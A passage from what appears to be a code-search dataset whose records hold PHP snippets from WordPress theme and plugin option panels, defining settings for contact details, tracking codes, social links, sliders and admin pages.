\"name\" \t => \"Địa chỉ liên hệ\",\n\t\t\t\t\t\t\"desc\" \t => \"Nhập địa chỉ của bạn.\",\n\t\t\t\t\t\t\"id\" \t\t => \"dia_chi\",\n\t\t\t\t\t\t\"std\" \t\t=> \"Số 09 - Ngõ 196 - Trần Duy Hưng - Hà Nội.\",\n\t\t\t\t\t\t\"type\" \t => \"textarea\"\n\t\t\t\t);\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n$of_options[] = array( \"name\" \t => \"Google Analytics\",\n\t\t\t\t\t\t\"desc\" \t => \"Paste your Google Analytics (or other) tracking code here. This will be added into the footer template of your theme.\",\n\t\t\t\t\t\t\"id\" \t\t => \"google_analytics\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"textarea\"\n\t\t\t\t);\n$of_options[] = array( \"name\" \t => \"Google Webmaster Tool\",\n\t\t\t\t\t\t\"desc\" \t => \"Paste your Google Webmaster Tool (or other) tracking code here. This will be added into the footer template of your theme.\",\n\t\t\t\t\t\t\"id\" \t\t => \"google_webmaster_tool\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"textarea\"\n\t\t\t\t);\n$of_options[] = array( \"name\" \t => \"Remarketing adwords\",\n\t\t\t\t\t\t\"desc\" \t => \"Paste your Remarketing adwords (or other) tracking code here. This will be added into the footer template of your theme.\",\n\t\t\t\t\t\t\"id\" \t\t => \"remarketing_adwords\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t => \"textarea\"\n\t\t\t\t);\t\t\t\t\t\n\t\t\t\t\t\t\n/*-----------------------------------------------------------------------------------*/\n/* Phần Mạng Xã Hội */\n/*-----------------------------------------------------------------------------------*/\t\t\t\t\n$of_options[] = array( \"name\" \t\t=> \"Social networking\",\n\t\t\t\t\t \"type\" \t\t=> \"heading\",\n\t\t\t\t\t \"icon\"\t\t=> ADMIN_IMAGES . \"icon-slider.png\"\n\t\t\t\t);\n\t\t\t\n$of_options[] = array( \"name\" \t => \"Social Network\",\n\t\t\t\t\t\t\"desc\" \t => \"Tích hợp mạng xã hội.\",\n\t\t\t\t\t\t\"id\" \t\t => \"offline\",\n\t\t\t\t\t\t\"std\" \t\t=> 0,\n\t\t\t\t\t\t\"folds\" \t => 1,\n\t\t\t\t\t\t\"type\" \t => \"checkbox\"\n\t\t\t\t);\t\t\t\t\n\t\t\t\t\n$of_options[] = array( \"name\" \t => \"Facebook\",\n\t\t\t\t\t\t\"desc\" \t => \"Bạn điền Link Facebook hoặc Fanpage\",\n\t\t\t\t\t\t\"id\" \t\t => \"hidden_link_fb\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"fold\" \t => \"offline\", /* the checkbox hook */\n\t\t\t\t\t\t\"type\" \t => \"text\"\n\t\t\t\t);\n$of_options[] = array( \"name\" \t => \"Facebook Ifame\",\n\t\t\t\t\t\t\"desc\" \t => \"Bạn điền Link Iframe Fanpage Facebook\",\n\t\t\t\t\t\t\"id\" \t\t => \"hidden_link_iframe_fb\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"fold\" \t => \"offline\", /* the checkbox hook */\n\t\t\t\t\t\t\"type\" \t => \"textarea\"\n\t\t\t\t);\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n$of_options[] = array( \"name\" \t\t=> \"Google Plus\",\n\t\t\t\t\t\t\"desc\" \t => \"Bạn điền Link G+\",\n\t\t\t\t\t\t\"id\" \t\t => \"hidden_link_gg\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"fold\" \t => \"offline\", /* the checkbox hook */\n\t\t\t\t\t\t\"type\" \t => \"text\"\n\t\t\t\t);\t\n$of_options[] = array( \"name\" \t\t=> \"Youtube\",\n\t\t\t\t\t\t\"desc\" \t => \"Bạn điền Link YouTube\",\n\t\t\t\t\t\t\"id\" \t\t => \"hidden_link_youtube\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"fold\" \t => \"offline\", /* the checkbox hook */\n\t\t\t\t\t\t\"type\" \t => \"text\"\n\t\t\t\t);\n$of_options[] = array( \"name\" \t\t=> \"Twitter\",\n\t\t\t\t\t\t\"desc\" \t => \"Bạn điền Link Twitter\",\n\t\t\t\t\t\t\"id\" \t\t => \"hidden_link_twitter\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"fold\" \t => \"offline\", /* the checkbox hook */\n\t\t\t\t\t\t\"type\" \t => \"text\"\n\t\t\t\t);\t\n$of_options[] = array( \"name\" \t\t=> \"Pinterest\",\n\t\t\t\t\t\t\"desc\" \t => \"Bạn điền Link Pinterest\",\n\t\t\t\t\t\t\"id\" \t\t => \"hidden_link_pinterest\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"fold\" \t => \"offline\", /* the checkbox hook */\n\t\t\t\t\t\t\"type\" \t => \"text\"\n\t\t\t\t);\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n/*-----------------------------------------------------------------------------------*/\n/* Phần Slide Gallery Đối tác */\n/*-----------------------------------------------------------------------------------*/\n\n\n$of_options[] = array( \"name\" \t\t=> \"Gallery Banner Đối tác\",\n\t\t\t\t\t \"type\" \t\t=> \"heading\",\n\t\t\t\t\t \"icon\"\t\t=> ADMIN_IMAGES . \"icon-slider.png\"\n\t\t\t\t);\n$of_options[] = array( \"name\" \t\t=> \"Danh sách ảnh Đối tác\",\n\t\t\t\t\t \"desc\"\t\t=> \"Bạn nhập ảnh side muốn hiển thị.\",\n\t\t\t\t\t \"id\" \t => \"doitac_slide\",\n\t\t\t\t\t \"std\" \t\t => \"\",\n\t\t\t\t\t \"type\" \t => \"slider\");\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n/*-----------------------------------------------------------------------------------*/\n/* Phần Slide Gallery ảnh */\n/*-----------------------------------------------------------------------------------*/\n\n\n$of_options[] = array( \"name\" \t\t=> \"Gallery Banner Home\",\n\t\t\t\t\t \"type\" \t\t=> \"heading\",\n\t\t\t\t\t \"icon\"\t\t=> ADMIN_IMAGES . \"icon-slider.png\"\n\t\t\t\t);\n$of_options[] = array( \"name\" \t\t=> \"Danh sách ảnh Slide\",\n\t\t\t\t\t \"desc\"\t\t=> \"Bạn nhập ảnh side muốn hiển thị.\",\n\t\t\t\t\t \"id\" \t => \"img_slide\",\n\t\t\t\t\t \"std\" \t\t => \"\",\n\t\t\t\t\t \"type\" \t => \"slider\");\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\n/*-----------------------------------------------------------------------------------*/\n/* Phần Slide Gallery Giảm cân - 960x276 */\n/*-----------------------------------------------------------------------------------*/\n\n\n$of_options[] = array( \"name\" \t\t=> \"Gallery Giảm cân 960x276\",\n\t\t\t\t\t \"type\" \t\t=> \"heading\",\n\t\t\t\t\t \"icon\"\t\t=> ADMIN_IMAGES . \"icon-slider.png\"\n\t\t\t\t);\n$of_options[] = array( \"name\" \t\t=> \"Danh sách ảnh Slide\",\n\t\t\t\t\t \"desc\"\t\t=> \"Bạn nhập ảnh side muốn hiển thị.\",\n\t\t\t\t\t \"id\" \t => \"img_slide_weight\",\n\t\t\t\t\t \"std\" \t\t => \"\",\n\t\t\t\t\t \"type\" \t => \"slider\");\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\n//Advanced Settings\n$of_options[] = array( \t\"name\" \t\t=> \"Advanced Settings\",\n\t\t\t\t\t\t\"type\" \t\t=> \"heading\"\n\t\t\t\t);\n\t\t\t\t\n$of_options[] = array( \t\"name\" \t\t=> \"Folding Checkbox\",\n\t\t\t\t\t\t\"desc\" \t\t=> \"This checkbox will hide/show a couple of options group. Try it out!\",\n\t\t\t\t\t\t\"id\" \t\t=> \"offline\",\n\t\t\t\t\t\t\"std\" \t\t=> 0,\n\t\t\t\t\t\t\"folds\" \t=> 1,\n\t\t\t\t\t\t\"type\" \t\t=> \"checkbox\"\n\t\t\t\t);\n\t\t\t\t\n$of_options[] = array( \t\"name\" \t\t=> \"Hidden option 1\",\n\t\t\t\t\t\t\"desc\" \t\t=> \"This is a sample hidden option 1\",\n\t\t\t\t\t\t\"id\" \t\t=> \"hidden_option_1\",\n\t\t\t\t\t\t\"std\" \t\t=> \"Hi, I\\'m just a text input\",\n\t\t\t\t\t\t\"fold\" \t\t=> \"offline\", /* the checkbox hook */\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\t\t\t\t\n$of_options[] = array( \t\"name\" \t\t=> \"Hidden option 2\",\n\t\t\t\t\t\t\"desc\" \t\t=> \"This is a sample hidden option 2\",\n\t\t\t\t\t\t\"id\" \t\t=> \"hidden_option_2\",\n\t\t\t\t\t\t\"std\" \t\t=> \"Hi, I\\'m just a text input\",\n\t\t\t\t\t\t\"fold\" \t\t=> \"offline\", /* the checkbox hook */\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\t\t\t\t\n$of_options[] = array( \t\"name\" \t\t=> \"Hello there!\",\n\t\t\t\t\t\t\"desc\" \t\t=> \"\",\n\t\t\t\t\t\t\"id\" \t\t=> \"introduction_2\",\n\t\t\t\t\t\t\"std\" \t\t=> \"<h3 style=\\\"margin: 0 0 10px;\\\">Grouped Options.</h3>\n\t\t\t\t\t\tYou can group a bunch of options under a single heading by removing the 'name' value from the options array except for the first option in the group.\",\n\t\t\t\t\t\t\"icon\" \t\t=> true,\n\t\t\t\t\t\t\"type\" \t\t=> \"info\"\n\t\t\t\t);\n\t\t\t\t\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> \"Some pretty colors for you\",\n\t\t\t\t\t\t\t\t\t\t\"desc\" \t\t=> \"Color 1.\",\n\t\t\t\t\t\t\t\t\t\t\"id\" \t\t=> \"example_colorpicker_3\",\n\t\t\t\t\t\t\t\t\t\t\"std\" \t\t=> \"#2098a8\",\n\t\t\t\t\t\t\t\t\t\t\"type\" \t\t=> \"color\"\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> \"\",\n\t\t\t\t\t\t\t\t\t\t\"desc\" \t\t=> \"Color 2.\",\n\t\t\t\t\t\t\t\t\t\t\"id\" \t\t=> \"example_colorpicker_4\",\n\t\t\t\t\t\t\t\t\t\t\"std\" \t\t=> \"#2098a8\",\n\t\t\t\t\t\t\t\t\t\t\"type\" \t\t=> \"color\"\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> \"\",\n\t\t\t\t\t\t\t\t\t\t\"desc\" \t\t=> \"Color 3.\",\n\t\t\t\t\t\t\t\t\t\t\"id\" \t\t=> \"example_colorpicker_5\",\n\t\t\t\t\t\t\t\t\t\t\"std\" \t\t=> \"#2098a8\",\n\t\t\t\t\t\t\t\t\t\t\"type\" \t\t=> \"color\"\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> \"\",\n\t\t\t\t\t\t\t\t\t\t\"desc\" \t\t=> \"Color 4.\",\n\t\t\t\t\t\t\t\t\t\t\"id\" \t\t=> \"example_colorpicker_6\",\n\t\t\t\t\t\t\t\t\t\t\"std\" \t\t=> \"#2098a8\",\n\t\t\t\t\t\t\t\t\t\t\"type\" \t\t=> \"color\"\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\n// Backup Options\n$of_options[] = array( \t\"name\" \t\t=> \"Backup Options\",\n\t\t\t\t\t\t\"type\" \t\t=> \"heading\",\n\t\t\t\t\t\t\"icon\"\t\t=> ADMIN_IMAGES . \"icon-slider.png\"\n\t\t\t\t);\n\t\t\t\t\n$of_options[] = array( \t\"name\" \t\t=> \"Backup and Restore Options\",\n\t\t\t\t\t\t\"id\" \t\t=> \"of_backup\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"backup\",\n\t\t\t\t\t\t\"desc\" \t\t=> 'You can use the two buttons below to backup your current options, and then restore it back at a later time. This is useful if you want to experiment on the options but would like to keep the old settings in case you need it back.',\n\t\t\t\t);\n\t\t\t\t\n$of_options[] = array( \t\"name\" \t\t=> \"Transfer Theme Options Data\",\n\t\t\t\t\t\t\"id\" \t\t=> \"of_transfer\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"transfer\",\n\t\t\t\t\t\t\"desc\" \t\t=> 'You can tranfer the saved options data between different installs by copying the text inside the text box. To import data from another install, replace the data in the text box with the one from another install and click \"Import Options\".',\n\t\t\t\t);\n\t\t\t\t\n\t}", "title": "" }, { "docid": "e863f9b12e9fbf67baf0e5e50ddb0c51", "score": "0.6490754", "text": "function Menu()\n\t{\n\t\tadd_options_page(\n\t\t\t'Paypal Cart Options',\n\t\t\t'Paypal Cart Options',\n\t\t\t'manage_options',\n\t\t\t'tlpc-paypalcart',\n\t\t\tarray( $this, 'Options' )\n\t\t);\n\t}", "title": "" }, { "docid": "faaa6ab7c5a43f89616aa594b9b933c1", "score": "0.64897656", "text": "function optionsframework_options() {\n\t\n\t// Alignment\n\t$button_color = array(\"blue\" => \"Blue\", \"green\" => \"Green\", \"orange\" => \"Orange\", \"gray\" => \"Gray\", \"purple\" => \"Purple\");\n\t\n\t// Backgrounds\n\t$bg_array = array(\"white\" => \"White\",\"dark\" => \"Dark\");\n\t\n\t// Slider Autplay\n\t$slider_array = array(\"false\" => \"Static\",\"true\" => \"Autoplay\");\n\t\n\t// Background Defaults\n\t$background_defaults = array('color' => '', 'image' => '', 'repeat' => 'repeat','position' => 'top center','attachment'=>'scroll');\n\t\n\t// Pull all the categories into an array\n\t$options_categories = array(); \n\t$options_categories_obj = get_categories();\n\tforeach ($options_categories_obj as $category) {\n \t$options_categories[$category->cat_ID] = $category->cat_name;\n\t}\n\t\n\t// Pull all the pages into an array\n\t$options_pages = array(); \n\t$options_pages_obj = get_pages('sort_column=post_parent,menu_order');\n\t$options_pages[''] = 'Select a page:';\n\tforeach ($options_pages_obj as $page) {\n \t$options_pages[$page->ID] = $page->post_title;\n\t}\n\t\t\n\t// If using image radio buttons, define a directory path\n\t$imagepath = get_stylesheet_directory_uri() . '/images/';\n\t\t\n\t$options = array();\n\t\n\t// Basic Settings Tab\n\t\t\n\t$options[] = array( \"name\" => __('Basic Settings', okay), \n\t\t\t\t\t\t\"type\" => \"heading\");\n\t\t\t\t\t\t\n\t$options[] = array( 'name' => __('Logo Upload', okay),\n\t\t\t\t\t\t\"desc\" => __('Upload your image to use in the header.', okay),\n\t\t\t\t\t\t\"id\" => \"of_logo\",\n\t\t\t\t\t\t\"type\" => \"upload\");\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Background Color', okay),\n\t\t\t\t\t\t\"desc\" => __('Choose a light or dark background.', okay),\n\t\t\t\t\t\t\"id\" => \"of_bg_color\",\n\t\t\t\t\t\t\"type\" => \"select\",\n\t\t\t\t\t\t\"options\" => $bg_array);\t\n\t\n\t$options[] = array( \"name\" => __('Link Color', okay),\n\t\t\t\t\t\t\"desc\" => __('Select the color you would like your links to be. The demo site uses #60BDDB.', okay),\n\t\t\t\t\t\t\"id\" => \"of_colorpicker\",\n\t\t\t\t\t\t\"std\" => \"#60BDDB\",\n\t\t\t\t\t\t\"type\" => \"color\");\t\t\t\t\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Slider Autoplay', okay),\n\t\t\t\t\t\t\"desc\" => __('Please select whether you would like sliders to autoplay or not', okay),\n\t\t\t\t\t\t\"id\" => \"of_slider_autoplay\",\n\t\t\t\t\t\t\"type\" => \"select\",\n\t\t\t\t\t\t\"std\" => \"false\",\n\t\t\t\t\t\t\"options\" => $slider_array);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t\t\t\t\t\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Homepage Large Slider Category', okay),\n\t\t\t\t\t\t\"desc\" => __('Please select the category to populate the slider on the homepage.', okay),\n\t\t\t\t\t\t\"id\" => \"of_slider_cat\",\n\t\t\t\t\t\t\"type\" => \"select\",\n\t\t\t\t\t\t\"options\" => $options_categories);\t\n\t\n\t$options[] = array( \"name\" => __('Blog Category', okay),\n\t\t\t\t\t\t\"desc\" => __('Please select the category that contains your Blog posts. This category will populate the Blog page.', okay),\n\t\t\t\t\t\t\"id\" => \"of_blog_cat\",\n\t\t\t\t\t\t\"type\" => \"select\",\n\t\t\t\t\t\t\"options\" => $options_categories);\t\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Portfolio Category', okay),\n\t\t\t\t\t\t\"desc\" => __('Please select the category that contains your Portfolio posts. This category will populate the Portfolio section of the homepage and the portfolio page.', okay),\n\t\t\t\t\t\t\"id\" => \"of_portfolio_cat\",\n\t\t\t\t\t\t\"type\" => \"select\",\n\t\t\t\t\t\t\"options\" => $options_categories);\n\t\n\t$options[] = array( \"name\" => __('Hidden Header Text', okay),\n\t\t\t\t\t\t\"desc\" => __('Text for the hidden area in the header.', okay),\n\t\t\t\t\t\t\"id\" => \"of_hidden_header_text\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"textarea\"); \t\t\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Portfolio Page Text', okay),\n\t\t\t\t\t\t\"desc\" => __('Text for the area under the big image on the portfolio page.', okay),\n\t\t\t\t\t\t\"id\" => \"of_portfolio_text\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"textarea\"); \t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Tracking Code', 'okay'),\n\t\t\t\t\t\t\"desc\" => __('Put your Google Analytics or other tracking code here.', 'okay'),\n\t\t\t\t\t\t\"id\" => \"of_tracking_code\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"textarea\"); \t\t\n\t\t\t\t\t\t\n\t// Homepage Settings Tab\n\t\n\t$options[] = array( \"name\" => __('Homepage', okay), \n\t\t\t\t\t\t\"type\" => \"heading\");\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Homepage Header Text', okay), \n\t\t\t\t\t\t\"desc\" => __('Text for the large centered titles on the homepage header.', okay),\n\t\t\t\t\t\t\"id\" => \"of_header_text\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"textarea\");\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Services Title', okay),\n\t\t\t\t\t\t\"desc\" => __('Title for the ribbon above the Services (textbox) section on the homepage.', okay),\n\t\t\t\t\t\t\"id\" => \"of_services_title\",\n\t\t\t\t\t\t\"std\" => \"Services\",\n\t\t\t\t\t\t\"type\" => \"text\");\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Portfolio Title', okay),\n\t\t\t\t\t\t\"desc\" => __('Title for the ribbon above the Portfolio section on the homepage.', okay),\n\t\t\t\t\t\t\"id\" => \"of_portfolio_title\",\n\t\t\t\t\t\t\"std\" => \"Portfolio\",\n\t\t\t\t\t\t\"type\" => \"text\");\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Blog Title', okay),\n\t\t\t\t\t\t\"desc\" => __('Title for the ribbon above the Blog section on the homepage.', okay),\n\t\t\t\t\t\t\"id\" => \"of_blog_title\",\n\t\t\t\t\t\t\"std\" => \"Blog\",\n\t\t\t\t\t\t\"type\" => \"text\");\t\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Testimonials Title', okay),\n\t\t\t\t\t\t\"desc\" => __('Title for the ribbon above the Testimonials section on the homepage.', okay),\n\t\t\t\t\t\t\"id\" => \"of_testimonials_title\",\n\t\t\t\t\t\t\"std\" => \"Testimonials\",\n\t\t\t\t\t\t\"type\" => \"text\");\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t// Social Icons Tab\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Social Media Links', okay),\n\t\t\t\t\t\t\"type\" => \"heading\");\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\n\t$options[] = array( \"name\" => __('Twitter URL', okay),\n\t\t\t\t\t\t\"desc\" => __('Enter the full url to your Twitter profile.', okay),\n\t\t\t\t\t\t\"id\" => \"twitter_icon\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"text\");\t\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Google+ URL', okay),\n\t\t\t\t\t\t\"desc\" => __('Enter the full url to your Google+ profile.', okay),\n\t\t\t\t\t\t\"id\" => \"google_icon\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"text\");\t\n\t\n\t$options[] = array( \"name\" => __('Dribbble URL', okay),\n\t\t\t\t\t\t\"desc\" => __('Enter the full url to your Dribbble profile.', okay),\n\t\t\t\t\t\t\"id\" => \"dribbble_icon\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"text\");\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Vimeo URL', okay),\n\t\t\t\t\t\t\"desc\" => __('Enter the full url to your Vimeo profile.', okay),\n\t\t\t\t\t\t\"id\" => \"vimeo_icon\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"text\");\t\t\t\t\t\t\n\t\n\t$options[] = array( \"name\" => __('Facebook URL', okay),\n\t\t\t\t\t\t\"desc\" => __('Enter the full url to your Facebook profile.', okay),\n\t\t\t\t\t\t\"id\" => \"facebook_icon\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"text\");\t\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Flickr URL', okay),\n\t\t\t\t\t\t\"desc\" => __('Enter the full url to your Flickr profile.', okay),\n\t\t\t\t\t\t\"id\" => \"flickr_icon\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"text\");\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('Tumblr URL', okay),\n\t\t\t\t\t\t\"desc\" => __('Enter the full url to your Tumblr profile.', okay),\n\t\t\t\t\t\t\"id\" => \"tumblr_icon\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"text\");\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => __('LinkedIn URL', okay),\n\t\t\t\t\t\t\"desc\" => __('Enter the full url to your LinkedIn profile.', okay),\n\t\t\t\t\t\t\"id\" => \"linkedin_icon\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"text\");\t\t\n\t\t\t\t\t\t\n\t// ------------- Custom CSS Tab ------------- //\n\t\n\t$options[] = array( \"name\" => \"Custom CSS\",\n\t\t\t\t\t\t\"type\" => \"heading\");\n\t\n\t$options[] = array( \"name\" => __('Custom CSS', 'okay'),\n\t\t\t\t\t\t\"desc\" => __('If you would like to make styling modifications, you can do that here. Doing it here will prevent your modifications from being overwritten if/when you update the theme.', 'okay'),\n\t\t\t\t\t\t\"id\" => \"of_theme_css\",\n\t\t\t\t\t\t\"std\" => \"\",\n\t\t\t\t\t\t\"type\" => \"textarea\"); \t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\n\t// ------------- Okay Themes Tab ------------- //\n\t\t\t\t\t\t\n\t$options[] = array( \"name\" => \"Support\",\n\t\t\t\t\t\t\"type\" => \"heading\");\t\t\t\t\t\t\t\t\n\t\n\t$options[] = array( \"name\" => __('Theme Documentation & Support', 'okay'),\n\t\t\t\t\t\t\"desc\" => \"<p class='okay-text'>Theme support and documentation is available for all customers. Visit <a target='blank' href='http://okaythemes.com/support'>Okay Themes Support Forum</a> to get started. Simply follow the ThemeForest or Okay user instructions to verify your purchase and get a support account.</p>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class='okay-buttons'><a target='blank' class='okay-button video-button' href='https://vimeo.com/36747939'><span class='okay-icon icon-video'>Slate Install Video</span></a><a target='blank' class='okay-button help-button' href='http://themes.okaythemes.com/docs/slate/index.html'><span class='okay-icon icon-help'>Slate Help File</span></a><a target='blank' class='okay-button support-button' href='http://okaythemes.com/support'><span class='okay-icon icon-support'>Support Forum</span></a><a target='blank' class='okay-button custom-button' href='http://okaythemes.com/customization'><span class='okay-icon icon-custom'>Customize Theme</span></a></div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<h4 class='heading'>More Themes by Okay Themes</h4>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class='embed-themes'></div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t\",\n\t\t\t\t\t\t\"type\" => \"info\");\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\treturn $options;\n}", "title": "" }, { "docid": "631af4d3d648345151c6e19058d16f1b", "score": "0.648752", "text": "private function get_options() {\n\t\t\n\t\t$this->pages_screen = get_option( 'updatez_pages_screen' , $this->default_pages_screen );\n\t\t$this->preview_emails = get_option( 'updatez_preview_emails' , $this->default_preview_emails );\n\t\t$this->frontend = get_option( 'updatez_frontend' , $this->default_frontend );\n\t\t$this->tmppath = get_option( 'updatez_tmppath' , $this->default_tmppath );\n\t\t$this->updater = get_option( 'updatez_updater' , $this->default_updater );\n\t\t$this->status = get_option( 'updatez_status' , $this->default_status );\n\t}", "title": "" }, { "docid": "2b5ec3e8e324fc9de324de7efc8a67f4", "score": "0.6484802", "text": "function HtmlShowOptionsPage() {\r\r\n\r\r\n\t\t$ui = $this->GetUI();\r\r\n\t\tif($ui) {\r\r\n\t\t\t$ui->HtmlShowOptionsPage();\r\r\n\t\t\treturn true;\r\r\n\t\t}\r\r\n\r\r\n\t\treturn false;\r\r\n\t}", "title": "" }, { "docid": "c3f15ab5bbfb5b21ce0d91b68f7f9103", "score": "0.6480291", "text": "function islamic_graphics_options() {\n\tif (!current_user_can('manage_options')) {\n\t\twp_die( __('You do not have sufficient permissions to access this page.') );\n\t}\n?>\n <div class=\"wrap\">\n <h2>Islamic Graphics - Options Page</h2>\n <form method=\"post\" action=\"options.php\">\n <?php settings_fields( 'islamic-graphics-option-group' ); ?>\n <?php do_settings_sections('islamic-graphics'); ?>\n <!-- Submit Button -->\n <p class=\"submit\"> <input type=\"submit\" class=\"button-primary\" value=\"<?php _e('Save Changes') ?>\" /></p>\n </form>\n </div>\n \n<?php }", "title": "" }, { "docid": "019e9a2d37d02b18162e4c01922562c4", "score": "0.647467", "text": "public function action_init()\n\t{\n\t\t$this->add_template( 'options_view', dirname( $this->get_file() ) . '/options-view.php' );\n\t\t$this->add_template( 'options_edit', dirname( $this->get_file() ) . '/options-edit.php' );\n\t\t\n\t\t$this->class_name = strtolower(get_class($this));\n\n\t\t// @todo better way to determine this? most likely\n\t\t$this->opts_core = array(\n\t\t\t'235381938', 'about', 'active_plugins', 'atom_entries', 'base_url', 'cron_running', 'comments_require_id',\n\t\t\t'dash_available_modules', 'dateformat', 'db_version', 'db_upgrading', 'failed_plugins', 'GUID',\n\t\t\t'import_errors', 'installed', 'import_errors', 'locale', 'log_backtraces', 'next_cron', 'pagination', 'plugins_present',\n\t\t\t'system_locale', 'tagline', 'title', 'timeformat', 'timezone', 'theme_name', 'theme_dir', 'undelete__style',\n\t\t);\n\n\t\t// Note: This strips the group prefix, so returns allow_delete_core and allow_delete_other\n\t\t$this->opts_local = Options::get_group( $this->class_name );\n\t}", "title": "" }, { "docid": "2a1a7763f0a00ba1a8c6ce96932c6d15", "score": "0.6467363", "text": "public function add_options_page() {\n\n\t\t// Add option page in admin menu.\n\t\tadd_management_page(\n\t\t\t__( 'Post Type Looper', 'post-type-looper' ),\n\t\t\t__( 'Post Type Looper', 'post-type-looper' ),\n\t\t\t'manage_options',\n\t\t\t'post-type-looper',\n\t\t\tarray( $this, 'print_option_page' )\n\t\t);\n\t}", "title": "" }, { "docid": "1e8920376c55a7ecdb9bef6413153aae", "score": "0.64669454", "text": "function of_options()\n\t{\n\t\t$of_categories \t\t= array(); \n\t\t$of_categories_obj \t= get_categories('hide_empty=0');\n\t\tforeach ($of_categories_obj as $of_cat) {\n\t\t\t$of_categories[$of_cat->cat_ID] = $of_cat->cat_name;}\n\t\t$categories_tmp \t= array_unshift($of_categories, \"Select a category:\"); \n\t\t \n\t\t// Access the WordPress Pages via an Array\n\t\t$of_pages \t\t\t= array();\n\t\t$of_pages_obj \t\t= get_pages('sort_column=post_parent,menu_order'); \n\t\tforeach ($of_pages_obj as $of_page) {\n\t\t\t$of_pages[$of_page->ID] = $of_page->post_name; }\n\t\t$of_pages_tmp \t\t= array_unshift($of_pages, \"Select a page:\"); \n\t\n\t\t// Testing \n\t\t$of_options_select \t= array(\"one\",\"two\",\"three\",\"four\",\"five\"); \n\t\t$of_options_radio \t= array(\"one\" => \"One\",\"two\" => \"Two\",\"three\" => \"Three\",\"four\" => \"Four\",\"five\" => \"Five\");\n\t\t\n\t\t// Sample Homepage 